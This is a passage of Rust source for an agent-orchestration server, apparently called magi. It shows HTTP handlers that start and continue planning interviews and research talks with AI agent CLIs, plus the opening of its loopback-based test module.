2667/// otherwise have to parse itself: `turn_bodies_md`, one markdown node tree
2668/// per entry of `turns` in the same order, and `draft_md`, the parsed form of
2669/// `draft` when there is one. `turns` and `draft` are untouched - a client
2670/// reading the exact bytes a chat turn holds, or the exact bytes that would
2671/// be filed as a task, still can.
2672#[derive(Debug, Serialize)]
2673struct ChatView {
2674    #[serde(flatten)]
2675    chat: Chat,
2676    turn_bodies_md: Vec<Vec<md::Node>>,
2677    draft_md: Option<Vec<md::Node>>,
2678}
2679
2680impl From<Chat> for ChatView {
2681    fn from(chat: Chat) -> Self {
2682        let turn_bodies_md = chat
2683            .turns
2684            .iter()
2685            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2686            .collect();
2687        let draft_md = chat
2688            .draft
2689            .as_deref()
2690            .map(|draft| md::to_nodes(draft, &md::ImageBase::None));
2691        Self {
2692            turn_bodies_md,
2693            draft_md,
2694            chat,
2695        }
2696    }
2697}
2698
2699/// `GET /api/chats`.
2700///
2701/// Every interview, open ones first and newest first, which is
2702/// [`Chats::list`]'s own order. The whole record including the transcript: a
2703/// conversation is a few kilobytes, the phone renders it directly, and a
2704/// summary here would mean a second round trip to read the only thing a chat
2705/// is made of.
2706async fn chats_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<ChatView>>> {
2707    blocking(move || {
2708        Ok(Json(
2709            ui.chats.list().into_iter().map(ChatView::from).collect(),
2710        ))
2711    })
2712    .await
2713}
2714
2715async fn chat_detail(
2716    State(ui): State<Arc<Ui>>,
2717    Path(id): Path<String>,
2718) -> ApiResult<Json<ChatView>> {
2719    blocking(move || {
2720        let id = resolve_chat(&ui.chats, &id)?;
2721        Ok(Json(ChatView::from(ui.chats.get(&id)?)))
2722    })
2723    .await
2724}
2725
2726/// The body of `POST /api/chats`.
2727///
2728/// `agent` names a seat from the roster to do the interviewing; absent means
2729/// the configured default, which is what the phone sends. `repo` is a path,
2730/// not a short name - resolving `owner/repo` against `[repos] roots` is the
2731/// job of whatever built the picker the operator chose from, i.e.
2732/// `GET /api/repos`, so this route only ever has to trust a path. `from`
2733/// derives this conversation from an existing one - see [`chat::start`].
2734/// Unknown fields are ignored so a newer front end still starts an interview
2735/// against an older binary.
2736#[derive(Debug, Default, Deserialize)]
2737#[serde(default)]
2738struct NewChat {
2739    idea: String,
2740    agent: Option<String>,
2741    repo: Option<PathBuf>,
2742    from: Option<String>,
2743}
2744
2745/// `POST /api/chats`.
2746///
2747/// Starting an interview runs the first agent turn, so this is as slow as
2748/// [`chat_say`] and is async for the same reason. There is no turn guard yet
2749/// because there is no chat yet: the id does not exist until [`chat::start`]
2750/// returns, so two taps produce two separate interviews rather than two turns
2751/// in one. Two interviews are recoverable - abandon one - where two interleaved
2752/// turns are not.
2753async fn chat_post(
2754    State(ui): State<Arc<Ui>>,
2755    body: std::result::Result<Json<NewChat>, JsonRejection>,
2756) -> ApiResult<impl IntoResponse> {
2757    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2758    if body.idea.trim().is_empty() {
2759        return Err(ApiError::bad_request(
2760            "an interview needs something to interview about",
2761        ));
2762    }
2763
2764    // Resolved before the agent runs, so a bad `from` id is a 4xx that names
2765    // it rather than a wasted agent turn against a conversation that does not
2766    // exist.
2767    let from = {
2768        let ui = Arc::clone(&ui);
2769        let from_id = body.from.clone();
2770        blocking(move || match from_id {
2771            None => Ok(None),
2772            Some(id) => {
2773                let resolved = resolve_chat(&ui.chats, &id)?;
2774                Ok(Some(ui.chats.get(&resolved)?))
2775            }
2776        })
2777        .await?
2778    };
2779
2780    // Read the configuration for this request rather than at startup, so an
2781    // edit to `magi.toml` - a new seat, a different interviewer - takes effect
2782    // without restarting the server the operator reaches from their phone.
2783    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
2784    let cfg = config_for(&repo).await?;
2785    let chat = chat::start(
2786        &ui.chats,
2787        &cfg,
2788        repo,
2789        &body.idea,
2790        body.agent.as_deref(),
2791        from.as_ref(),
2792    )
2793    .await
2794    .map_err(ApiError::from)?;
2795    Ok((StatusCode::CREATED, Json(ChatView::from(chat))))
2796}
2797
2798/// The body of `POST /api/chats/{id}/say`.
2799#[derive(Debug, Default, Deserialize)]
2800#[serde(default, deny_unknown_fields)]
2801struct NewTurn {
2802    text: String,
2803}
2804
2805/// `POST /api/chats/{id}/say` - one turn of the interview.
2806///
2807/// The one handler here that is not filesystem work, and therefore the one
2808/// that must not go through [`blocking`]: it spawns an agent CLI and waits tens
2809/// of seconds for a paragraph. Sitting on an executor thread for that long
2810/// would starve the change stream of every other connected phone, which is the
2811/// opposite of what `blocking` is for. It holds no lock across the `await`
2812/// either - the turn slot is a set membership, not a mutex guard - so nothing
2813/// else in the server is delayed by a slow interview.
2814///
2815/// What the operator sees while it runs: a request outstanding for the whole
2816/// turn, with no partial output, because the agent CLIs magi drives return one
2817/// answer at the end rather than a stream. On a phone that means the composer
2818/// stays pending for up to the seat's timeout. There is deliberately no
2819/// progress channel to invent one from; the SSE `chats_rev` bump is the signal
2820/// that the turn landed, and it fires from the file `chat::say` wrote, so a
2821/// phone whose radio slept through the reply still learns about it.
2822///
2823/// A failed turn is still a turn. [`chat::say`] records the operator's message
2824/// and an agent turn explaining the failure before it returns an error, so this
2825/// answers 200 with the conversation: that recorded explanation is the thing
2826/// the operator needs to read, and a 5xx would make the front end show a
2827/// generic banner and hide it. The guard against that being a lie is the turn
2828/// count - if the transcript did not grow, nothing happened and the error is
2829/// reported as one.
2830async fn chat_say(
2831    State(ui): State<Arc<Ui>>,
2832    Path(id): Path<String>,
2833    body: std::result::Result<Json<NewTurn>, JsonRejection>,
2834) -> ApiResult<(StatusCode, Json<ChatView>)> {
2835    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2836    if body.text.trim().is_empty() {
2837        return Err(ApiError::bad_request("say something"));
2838    }
2839
2840    let id = {
2841        let ui = Arc::clone(&ui);
2842        let asked = id.clone();
2843        blocking(move || resolve_chat(&ui.chats, &asked)).await?
2844    };
2845    // Claimed before the chat is loaded, so the record this turn appends to was
2846    // read after the claim and cannot be a snapshot another turn has since
2847    // replaced.
2848    let _turn = ui.begin_turn(&id)?;
2849
2850    let (chat, cfg) = {
2851        let ui = Arc::clone(&ui);
2852        let id = id.clone();
2853        blocking(move || {
2854            let chat = ui.chats.get(&id)?;
2855            let (cfg, _) = Config::discover(&chat.repo, None)?;
2856            Ok((chat, cfg))
2857        })
2858        .await?
2859    };
2860
2861    // The operator's turn is recorded, the agent's turn runs in the background,
2862    // and the response goes back now.
2863    //
2864    // This used to hold the HTTP connection for the whole turn - 23 to 90
2865    // seconds against a real model. On a phone that is a coin flip: a screen
2866    // lock or a network handoff drops the request and the browser reports
2867    // "Failed to fetch", while the server finishes the turn and writes it to
2868    // disk. The operator is then told their message failed when it did not,
2869    // which is the worst of both answers. Every other moving part in magi is
2870    // state on disk plus the change stream; this was the one place that
2871    // depended on a connection staying up, and it did not need to.
2872    //
2873    // The turn guard moves into the spawned task, so a second `say` on the
2874    // same chat still gets a 409 while this one is in flight.
2875    let chats = ui.chats.clone();
2876    let text = {
2877        let mut chat = chat.clone();
2878        let chats = chats.clone();
2879        let said = body.text.clone();
2880        blocking(move || Ok(chat::record(&mut chat, &chats, &said)?)).await?
2881    };
2882    // Re-read so the spawned task appends to the record that now holds the
2883    // operator's turn, rather than to the snapshot taken before it.
2884    let mut chat = {
2885        let ui = Arc::clone(&ui);
2886        let id = id.clone();
2887        blocking(move || Ok(ui.chats.get(&id)?)).await?
2888    };
2889    let queued = chat.clone();
2890    tokio::spawn(async move {
2891        let _turn = _turn;
2892        if let Err(e) = chat::respond(&mut chat, &chats, &cfg, &text).await {
2893            // `respond` records the failure in the transcript itself, which is
2894            // what the phone reads; this line is for the operator's terminal.
2895            tracing::warn!("chat {id} turn failed: {e:#}");
2896        }
2897    });
2898
2899    // 202: the operator's message is recorded and a turn is running. The front
2900    // end learns the reply from the change stream, the same way it learns
2901    // everything else.
2902    Ok((StatusCode::ACCEPTED, Json(ChatView::from(queued))))
2903}
2904
2905/// The body of `POST /api/chats/{id}/file`, which the phone sends empty.
2906#[derive(Debug, Default, Deserialize)]
2907#[serde(default, deny_unknown_fields)]
2908struct FileDraft {
2909    priority: i32,
2910}
2911
2912/// `POST /api/chats/{id}/file` - validate the agent's draft and queue it.
2913///
2914/// The 400 carries every problem [`chat::draft_problems`] found, as an array
2915/// beside the usual message, because the operator fixing them is on a phone:
2916/// one problem per round trip would mean asking the interviewer to rewrite the
2917/// draft three times for what is one edit.
2918async fn chat_file(
2919    State(ui): State<Arc<Ui>>,
2920    Path(id): Path<String>,
2921    body: std::result::Result<Json<FileDraft>, JsonRejection>,
2922) -> ApiResult<Json<serde_json::Value>> {
2923    // An absent body is the normal case - the front end posts with no content
2924    // type at all - and means the default priority. A body that is present and
2925    // malformed is still a bad request, because silently filing at the wrong
2926    // priority is worse than saying no.
2927    let body = match body {
2928        Ok(Json(body)) => body,
2929        Err(JsonRejection::MissingJsonContentType(_)) => FileDraft::default(),
2930        Err(e) => return Err(ApiError::bad_request(e.body_text())),
2931    };
2932
2933    blocking(move || {
2934        let id = resolve_chat(&ui.chats, &id)?;
2935        let mut chat = ui.chats.get(&id)?;
2936        // Asked before filing so the answer can be the whole list. `file_draft`
2937        // applies the same rule and would refuse too, but only with a flattened
2938        // string, and re-splitting an error message to rebuild the list is the
2939        // kind of thing that breaks the day someone adds a comma.
2940        if let Err(problems) = chat::draft_problems(&chat) {
2941            return Err(ApiError::bad_request_with(
2942                "the draft is not fileable yet",
2943                problems,
2944            ));
2945        }
2946        let task = chat::file_draft(&mut chat, &ui.chats, &ui.queue, body.priority)?;
2947        Ok(Json(serde_json::json!({ "task": task })))
2948    })
2949    .await
2950}
2951
2952/// Expand an id or short id to exactly one chat id.
2953fn resolve_chat(store: &Chats, id: &str) -> ApiResult<String> {
2954    pick(store.list().into_iter().map(|c| c.id).collect(), id, "chat")
2955}
2956
2957/// A talk as the phone reads it.
2958///
2959/// Every field of [`Talk`] verbatim, plus `turn_bodies_md` - one markdown node
2960/// tree per entry of `turns`, in order - the same accommodation
2961/// [`ChatView`] makes so `app.js` never parses markdown itself.
2962#[derive(Debug, Serialize)]
2963struct TalkView {
2964    #[serde(flatten)]
2965    talk: Talk,
2966    turn_bodies_md: Vec<Vec<md::Node>>,
2967}
2968
2969impl From<Talk> for TalkView {
2970    fn from(talk: Talk) -> Self {
2971        let turn_bodies_md = talk
2972            .turns
2973            .iter()
2974            .map(|turn| md::to_nodes(&turn.body, &md::ImageBase::None))
2975            .collect();
2976        Self {
2977            turn_bodies_md,
2978            talk,
2979        }
2980    }
2981}
2982
2983/// `GET /api/talks/{id}`'s answer: a [`TalkView`] plus the queue tasks this
2984/// conversation has filed, so the phone can follow one from inside the
2985/// conversation that asked for it rather than hunting the Queue for a task id
2986/// it may not remember.
2987#[derive(Debug, Serialize)]
2988struct TalkDetailView {
2989    #[serde(flatten)]
2990    view: TalkView,
2991    tasks: Vec<TaskView>,
2992}
2993
2994/// `GET /api/talks`.
2995///
2996/// Every conversation, open ones first and newest first - [`Talks::list`]'s
2997/// own order, the same one [`chats_list`] reports for Planning.
2998async fn talks_list(State(ui): State<Arc<Ui>>) -> ApiResult<Json<Vec<TalkView>>> {
2999    blocking(move || {
3000        Ok(Json(
3001            ui.talks.list().into_iter().map(TalkView::from).collect(),
3002        ))
3003    })
3004    .await
3005}
3006
3007/// The body of `POST /api/talks`, all of it optional: opening a talk needs no
3008/// message, unlike starting a Planning interview. `repo` defaults to the
3009/// server's own; `agent` to `[roles] planner`, [`talk::begin`]'s own default.
3010/// Unknown fields are ignored so a newer front end still opens a talk against
3011/// an older binary.
3012#[derive(Debug, Default, Deserialize)]
3013#[serde(default)]
3014struct NewTalk {
3015    agent: Option<String>,
3016    repo: Option<PathBuf>,
3017}
3018
3019/// `POST /api/talks` - open a conversation. Takes no agent turn: see
3020/// [`talk::begin`]'s doc for why there is nothing yet for one to answer.
3021async fn talk_post(
3022    State(ui): State<Arc<Ui>>,
3023    body: std::result::Result<Json<NewTalk>, JsonRejection>,
3024) -> ApiResult<impl IntoResponse> {
3025    // An absent body, or an empty one, is the normal way to open a talk - see
3026    // `NewTalk`'s doc - so a missing content type is treated the same as `{}`
3027    // rather than refused, the same accommodation `chat_file` makes.
3028    let body = match body {
3029        Ok(Json(body)) => body,
3030        Err(JsonRejection::MissingJsonContentType(_)) => NewTalk::default(),
3031        Err(e) => return Err(ApiError::bad_request(e.body_text())),
3032    };
3033    let repo = body.repo.clone().unwrap_or_else(|| ui.repo.clone());
3034    let cfg = config_for(&repo).await?;
3035    let view = blocking(move || {
3036        let talk = talk::begin(&ui.talks, &cfg, repo, body.agent.as_deref())?;
3037        Ok(TalkView::from(talk))
3038    })
3039    .await?;
3040    Ok((StatusCode::CREATED, Json(view)))
3041}
3042
3043/// `GET /api/talks/{id}`.
3044async fn talk_detail(
3045    State(ui): State<Arc<Ui>>,
3046    Path(id): Path<String>,
3047) -> ApiResult<Json<TalkDetailView>> {
3048    blocking(move || {
3049        let id = resolve_talk(&ui.talks, &id)?;
3050        let talk = ui.talks.get(&id)?;
3051        let tasks = talk::tasks_of(&ui.queue, &talk.id)
3052            .into_iter()
3053            .map(TaskView::from)
3054            .collect();
3055        Ok(Json(TalkDetailView {
3056            view: TalkView::from(talk),
3057            tasks,
3058        }))
3059    })
3060    .await
3061}
3062
3063/// The body of `POST /api/talks/{id}/say`.
3064#[derive(Debug, Default, Deserialize)]
3065#[serde(default, deny_unknown_fields)]
3066struct NewTalkTurn {
3067    text: String,
3068}
3069
3070/// `POST /api/talks/{id}/say` - one turn of the conversation.
3071///
3072/// The same asynchronous shape as [`chat_say`], for the same reason: this
3073/// route spawns an agent CLI and a turn here can run for the whole of
3074/// [`talk::TURN_TIMEOUT`] - fifteen minutes, three times a planning turn's
3075/// budget, because a research turn is expected to run commands rather than
3076/// answer from what it already knows. Holding an HTTP connection open that
3077/// long is not a thing to ask a phone to do; the operator's message is
3078/// recorded and answered for immediately, and the reply lands in the
3079/// background, discovered through the change stream's `talks_rev` the same
3080/// way every other update on this surface is.
3081async fn talk_say(
3082    State(ui): State<Arc<Ui>>,
3083    Path(id): Path<String>,
3084    body: std::result::Result<Json<NewTalkTurn>, JsonRejection>,
3085) -> ApiResult<(StatusCode, Json<TalkView>)> {
3086    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
3087    if body.text.trim().is_empty() {
3088        return Err(ApiError::bad_request("say something"));
3089    }
3090
3091    let id = {
3092        let ui = Arc::clone(&ui);
3093        let asked = id.clone();
3094        blocking(move || resolve_talk(&ui.talks, &asked)).await?
3095    };
3096    // Claimed before the talk is loaded, so the record this turn appends to
3097    // was read after the claim and cannot be a snapshot another turn has
3098    // since replaced - the same ordering `chat_say` relies on.
3099    let _turn = ui.begin_talk_turn(&id)?;
3100
3101    let (talk, cfg) = {
3102        let ui = Arc::clone(&ui);
3103        let id = id.clone();
3104        blocking(move || {
3105            let talk = ui.talks.get(&id)?;
3106            let (cfg, _) = Config::discover(&talk.repo, None)?;
3107            Ok((talk, cfg))
3108        })
3109        .await?
3110    };
3111
3112    let talks = ui.talks.clone();
3113    let text = {
3114        let mut talk = talk.clone();
3115        let talks = talks.clone();
3116        let said = body.text.clone();
3117        blocking(move || Ok(talk::record(&mut talk, &talks, &said)?)).await?
3118    };
3119    // Re-read so the spawned task appends to the record that now holds the
3120    // operator's turn, rather than to the snapshot taken before it.
3121    let talk = {
3122        let ui = Arc::clone(&ui);
3123        let id = id.clone();
3124        blocking(move || Ok(ui.talks.get(&id)?)).await?
3125    };
3126    let queued = talk.clone();
3127    tokio::spawn(async move {
3128        let _turn = _turn;
3129        let mut talk = talk;
3130        if let Err(e) = talk::respond(&mut talk, &talks, &cfg, &text).await {
3131            // `respond` records the failure in the transcript itself, which is
3132            // what the phone reads; this line is for the operator's terminal.
3133            tracing::warn!("talk {id} turn failed: {e:#}");
3134        }
3135    });
3136
3137    // 202: the operator's message is recorded and a turn is running.
3138    Ok((StatusCode::ACCEPTED, Json(TalkView::from(queued))))
3139}
3140
3141/// `POST /api/talks/{id}/close`.
3142async fn talk_close(
3143    State(ui): State<Arc<Ui>>,
3144    Path(id): Path<String>,
3145) -> ApiResult<Json<TalkView>> {
3146    blocking(move || {
3147        let id = resolve_talk(&ui.talks, &id)?;
3148        let mut talk = ui.talks.get(&id)?;
3149        talk::close(&mut talk, &ui.talks)?;
3150        Ok(Json(TalkView::from(talk)))
3151    })
3152    .await
3153}
3154
3155/// Expand an id or short id to exactly one talk id.
3156fn resolve_talk(store: &Talks, id: &str) -> ApiResult<String> {
3157    pick(store.list().into_iter().map(|t| t.id).collect(), id, "talk")
3158}
3159
3160/// The configuration for a repository, read off the disk for this request.
3161///
3162/// Through [`blocking`] because discovery reads and merges several TOML files,
3163/// and because the alternative - caching it in [`Ui`] at startup - would mean
3164/// the operator's phone kept interviewing with a roster they had already
3165/// changed, with no way to reload it but restarting the server they are not
3166/// sitting in front of.
3167async fn config_for(repo: &FsPath) -> ApiResult<Config> {
3168    let repo = repo.to_path_buf();
3169    blocking(move || {
3170        let (cfg, _) = Config::discover(&repo, None)?;
3171        Ok(cfg)
3172    })
3173    .await
3174}
3175
3176/// The one prefix rule, used for both runs and tasks: a leading match for a
3177/// full id, a trailing match for the short form an operator reads off a
3178/// report. Written here rather than borrowed from `queue::resolve_id` because
3179/// the UI needs the two failures as different status codes, and telling them
3180/// apart from an error message is not something to build a route on.
3181fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
3182    let mut hits = ids
3183        .into_iter()
3184        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
3185    match (hits.next(), hits.next()) {
3186        (Some(one), None) => Ok(one),
3187        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
3188        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
3189            "`{prefix}` matches more than one {what}, including {a} and {b}"
3190        ))),
3191    }
3192}
3193
3194#[cfg(test)]
3195mod tests {
3196    use pretty_assertions::assert_eq;
3197    use serde_json::Value;
3198    use tempfile::TempDir;
3199    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
3200
3201    use super::*;
3202    use crate::config::Config;
3203    use crate::queue::{Source, TaskStatus};
3204
3205    /// A home with a queue and a runs directory, and a router serving it on
3206    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
3207    /// dependency, not ours - so the tests drive a real socket, which has the
3208    /// side benefit of asserting the status line and content types the phone
3209    /// actually receives.
3210    struct Fixture {
3211        home: TempDir,
3212        addr: SocketAddr,
3213    }
3214
3215    impl Fixture {
3216        async fn start() -> Self {
3217            Self::with_loop(launch_idle).await
3218        }
3219
3220        /// A fixture whose loop is `launch`.
3221        async fn with_loop(launch: Launch) -> Self {
3222            let home = TempDir::new().expect("temp home");
3223            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch).await;
3224            Self { home, addr }
3225        }
3226
3227        /// A fixture whose `ui.repo` is a real directory rather than the
3228        /// usual placeholder - for the routes that read config off it
3229        /// (`GET /api/repos`) and would otherwise have nothing to discover.
3230        async fn with_repo(repo: PathBuf) -> Self {
3231            let home = TempDir::new().expect("temp home");
3232            let addr = Self::serve(home.path(), repo, launch_idle).await;
3233            Self { home, addr }
3234        }
3235
3236        async fn serve(home: &FsPath, repo: PathBuf, launch: Launch) -> SocketAddr {
3237            let queue = Queue::at(home.join("queue"));
3238            let runs = home.join("runs");
3239            std::fs::create_dir_all(&runs).expect("runs dir");
3240            let worktrees = home.join("wt").join("magi");
3241            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
3242            let ui = Ui::new(
3243                queue,
3244                Questions::at(home.join("questions")),
3245                Chats::at(home.join("chats")),
3246                Talks::at(home.join("talks")),
3247                runs,
3248                home.to_path_buf(),
3249                repo,
3250            )
3251            .with_worktrees_root(worktrees)
3252            .with_launch(launch);
3253            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
3254                .await
3255                .expect("bind loopback");
3256            let addr = listener.local_addr().expect("local addr");
3257            tokio::spawn(async move {
3258                let _ = axum::serve(listener, ui.router()).await;
3259            });
3260            addr
3261        }
3262
3263        fn queue(&self) -> Queue {
3264            Queue::at(self.home.path().join("queue"))
3265        }
3266
3267        fn questions(&self) -> Questions {
3268            Questions::at(self.home.path().join("questions"))
3269        }
3270
3271        fn chats(&self) -> Chats {
3272            Chats::at(self.home.path().join("chats"))
3273        }
3274
3275        fn talks(&self) -> Talks {
3276            Talks::at(self.home.path().join("talks"))
3277        }
3278
3279        fn runs(&self) -> PathBuf {
3280            self.home.path().join("runs")
3281        }
3282
3283        async fn get(&self, path: &str) -> Res {
3284            request(self.addr, "GET", path, None).await
3285        }
3286
3287        /// The status and headers without the body, which is how the front end
3288        /// preflights a panel: a sandboxed frame is opaque to the parent
3289        /// document, so the only way to tell "no panel" from "a panel that
3290        /// rendered blank" is to ask before mounting.
3291        async fn head(&self, path: &str) -> Res {
3292            request(self.addr, "HEAD", path, None).await
3293        }
3294
3295        async fn post(&self, path: &str, body: Option<&str>) -> Res {
3296            request(self.addr, "POST", path, body).await
3297        }
3298
3299        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
3300            request_with(self.addr, "GET", path, None, extra).await
3301        }
3302
3303        async fn delete(&self, path: &str) -> Res {
3304            request(self.addr, "DELETE", path, None).await
3305        }
3306    }
3307
3308    struct Res {
3309        status: u16,
3310        headers: String,
3311        /// The header block with its original casing, for the assertions that
3312        /// compare a header *value* rather than looking for a name. Lowercasing
3313        /// a CSP would hide a directive spelled with a capital letter, and the
3314        /// whole point of that test is that the string is exactly right.
3315        head: String,
3316        body: String,
3317        /// The body before any UTF-8 handling, for the routes that serve
3318        /// something other than text. A panel asset is a PNG as often as not,
3319        /// and `from_utf8_lossy` would silently replace half of it.
3320        bytes: Vec<u8>,
3321    }
3322
3323    impl Res {
3324        fn json(&self) -> Value {
3325            serde_json::from_str(&self.body)
3326                .unwrap_or_else(|e| panic!("body is not json ({e}): {}", self.body))
3327        }
3328
3329        /// One header's value verbatim, or `None` when it was not sent.
3330        fn header(&self, name: &str) -> Option<&str> {
3331            self.head.lines().find_map(|line| {
3332                let (key, value) = line.split_once(':')?;
3333                key.trim()
3334                    .eq_ignore_ascii_case(name)
3335                    .then(|| value.trim_start().trim_end_matches('\r'))
3336            })
3337        }
3338    }
3339
3340    /// A one-shot HTTP/1.1 client. `Connection: close` is what lets the reply
3341    /// be read to end-of-stream without parsing framing.
3342    async fn request(addr: SocketAddr, method: &str, path: &str, body: Option<&str>) -> Res {
3343        request_with(addr, method, path, body, &[]).await
3344    }
3345
3346    /// As [`request`], with extra request headers - conditional GETs need
3347    /// `If-None-Match`, and a server that sets an `ETag` it never compares is
3348    /// worse than one that sets none.
3349    async fn request_with(
3350        addr: SocketAddr,
3351        method: &str,
3352        path: &str,
3353        body: Option<&str>,
3354        extra: &[(&str, &str)],
3355    ) -> Res {
3356        let mut head = format!("{method} {path} HTTP/1.1\r\nHost: magi\r\nConnection: close\r\n");
3357        for (name, value) in extra {
3358            head.push_str(&format!("{name}: {value}\r\n"));
3359        }
3360        if let Some(body) = body {
3361            head.push_str("Content-Type: application/json\r\n");
3362            head.push_str(&format!("Content-Length: {}\r\n", body.len()));
3363        }
3364        head.push_str("\r\n");
3365        if let Some(body) = body {
3366            head.push_str(body);
3367        }
3368        let mut socket = tokio::net::TcpStream::connect(addr)
3369            .await
3370            .expect("connect to the test server");
3371        socket
3372            .write_all(head.as_bytes())
3373            .await
3374            .expect("write request");
3375        let mut raw = Vec::new();
3376        socket.read_to_end(&mut raw).await.expect("read response");
3377        // Split on the raw bytes rather than on a lossy string, so a binary
3378        // body survives to be compared byte for byte.
3379        let split = raw
3380            .windows(4)
3381            .position(|w| w == b"\r\n\r\n")
3382            .expect("a header block");
3383        let head = String::from_utf8_lossy(&raw[..split]).into_owned();
3384        let bytes = raw[split + 4..].to_vec();
3385        let status = head
3386            .lines()
3387            .next()
3388            .and_then(|line| line.split_whitespace().nth(1))
3389            .and_then(|code| code.parse().ok())
3390            .expect("a status line");
3391        Res {
3392            status,
3393            headers: head.to_lowercase(),
3394            head,
3395            body: String::from_utf8_lossy(&bytes).into_owned(),
3396            bytes,
3397        }
3398    }
3399
3400    /// A run on disk, without touching the process-global magi home.
3401    fn write_run(runs: &FsPath, id: &str, status: RunStatus) {
3402        let mut state = RunState::new(
3403            PathBuf::from("/repo/magi"),
3404            "main".to_owned(),
3405            "0123456789abcdef".to_owned(),
3406            "Add a web UI\n\nMobile first.".to_owned(),
3407            Config::default(),
3408        );
3409        state.id = id.to_owned();
3410        state.status = status;
3411        let dir = runs.join(id);
3412        std::fs::create_dir_all(&dir).expect("run dir");
3413        std::fs::write(
3414            dir.join("run.json"),
3415            serde_json::to_string_pretty(&state).expect("serialize run"),
3416        )
3417        .expect("write run.json");
3418    }
3419
3420    fn write_daemon(home: &FsPath, updated_at: Timestamp) {
3421        let body = serde_json::json!({
3422            "schema": 1,
3423            "pid": 4242,
3424            "started_at": Timestamp::now().to_string(),
3425            "updated_at": updated_at.to_string(),
3426            "idle": false,
3427            "current": { "task": "20260902-140501-aaaa", "run": "20260902-140502-bbbb" },
3428            "completed": 7,
3429            "polls": 143,
3430        });
3431        std::fs::write(home.join("daemon.json"), body.to_string()).expect("write daemon.json");
3432    }
3433
3434    /// A loop that starts, finds nothing to do, and waits to be told to stop.
3435    ///
3436    /// No test in this file may start the real loop - see [`Ui::launch`] for
3437    /// why - so this stands in for the only thing the routes need a loop to
3438    /// do: keep running until `Stop` is set, then return. A real
3439    /// `serve_until` here would resolve its queue and its status file through
3440    /// the process-global magi home, claim whatever it found in the
3441    /// operator's live backlog, overwrite the status file of the `magi serve`
3442    /// that owns it, and spend real agent quota on a real competition.
3443    fn launch_idle(
3444        _opts: daemon::Opts,
3445        stop: daemon::Stop,
3446    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3447        Box::pin(async move {
3448            while !stop.stopped() {
3449                tokio::time::sleep(Duration::from_millis(2)).await;
3450            }
3451            Ok(())
3452        })
3453    }
3454
3455    /// A loop that fails on the way up, the way one whose home has gone
3456    /// read-only does.
3457    fn launch_broken(
3458        _opts: daemon::Opts,
3459        _stop: daemon::Stop,
3460    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3461        Box::pin(async {
3462            Err(anyhow::anyhow!(
3463                "publish the daemon status file: read-only file system"
3464            ))
3465        })
3466    }
3467
3468    /// The address the parking loop knocks on, and what it heard there.
3469    ///
3470    /// A [`Launch`] is a plain function pointer, so a stand-in loop cannot
3471    /// capture a fixture's address; this is how it is handed one. Only
3472    /// `the_deck_answers_while_it_parks_and_frees_the_address_first` touches
3473    /// these, so nothing else in this binary can race them.
3474    static PARK_KNOCK: std::sync::Mutex<Option<SocketAddr>> = std::sync::Mutex::new(None);
3475    static PARK_HEARD: std::sync::Mutex<Option<u16>> = std::sync::Mutex::new(None);
3476
3477    /// A loop that, once it is asked to stop, checks the deck still answers
3478    /// before it goes.
3479    ///
3480    /// It stands in for a run mid-node: `finish_loop` waits for this future,
3481    /// so the request it makes is strictly inside the park window - no sleep
3482    /// and no polling needed to be sure of that.
3483    fn launch_knocking_on_the_way_out(
3484        _opts: daemon::Opts,
3485        stop: daemon::Stop,
3486    ) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
3487        Box::pin(async move {
3488            while !stop.stopped() {
3489                tokio::time::sleep(Duration::from_millis(2)).await;
3490            }
3491            let addr = PARK_KNOCK
3492                .lock()
3493                .expect("park knock")
3494                .expect("the test set an address");
3495            let heard = request(addr, "GET", "/api/health", None).await.status;
3496            *PARK_HEARD.lock().expect("park heard") = Some(heard);
3497            Ok(())
3498        })
3499    }
3500
3501    /// The loop view once `want` accepts it.
3502    ///
3503    /// Polled rather than asserted straight after the POST because stopping
3504    /// is deliberately not instant - that is the contract - and rather than
3505    /// slept through because a fixed wait is either flaky or slow. Two
3506    /// seconds is far longer than a stand-in loop needs and still finite, so
3507    /// a genuine hang fails the test instead of hanging the suite.
3508    async fn settled(fx: &Fixture, want: fn(&Value) -> bool) -> Value {
3509        for _ in 0..200 {
3510            let view = fx.get("/api/loop").await.json();
3511            if want(&view) {
3512                return view;
3513            }
3514            tokio::time::sleep(Duration::from_millis(10)).await;
3515        }
3516        panic!(
3517            "the loop never settled: {}",
3518            fx.get("/api/loop").await.json()
3519        );
3520    }
3521
3522    /// File an open question directly in the store the server reads.
3523    fn ask(fx: &Fixture, summary: &str, choices: &[&str]) -> String {
3524        let store = fx.questions();
3525        let mut q = Question::new(
3526            "20260902-000000-beef".to_owned(),
3527            "implement".to_owned(),
3528            "impl-A".to_owned(),
3529            summary.to_owned(),
3530            "because it matters".to_owned(),
3531            choices.iter().map(|c| (*c).to_owned()).collect(),
3532        );
3533        store.put(&mut q).expect("put question");
3534        q.id
3535    }
3536
3537    /// A question with a panel the server can serve, plus the named assets.
3538    ///
3539    /// Written through `Questions::put_panel` rather than by laying out the
3540    /// directory here, so these tests exercise the same on-disk shape the
3541    /// agents produce and cannot pass against a layout only the tests know.
3542    fn panel(fx: &Fixture, html: &str, assets: &[(&str, &[u8])]) -> String {
3543        let store = fx.questions();
3544        let mut q = Question::new(
3545            "20260902-000000-beef".to_owned(),
3546            "land".to_owned(),
3547            "fix".to_owned(),
3548            "Merge this?".to_owned(),
3549            "the diff is in the panel".to_owned(),
3550            vec!["merge".to_owned(), "hold".to_owned()],
3551        );
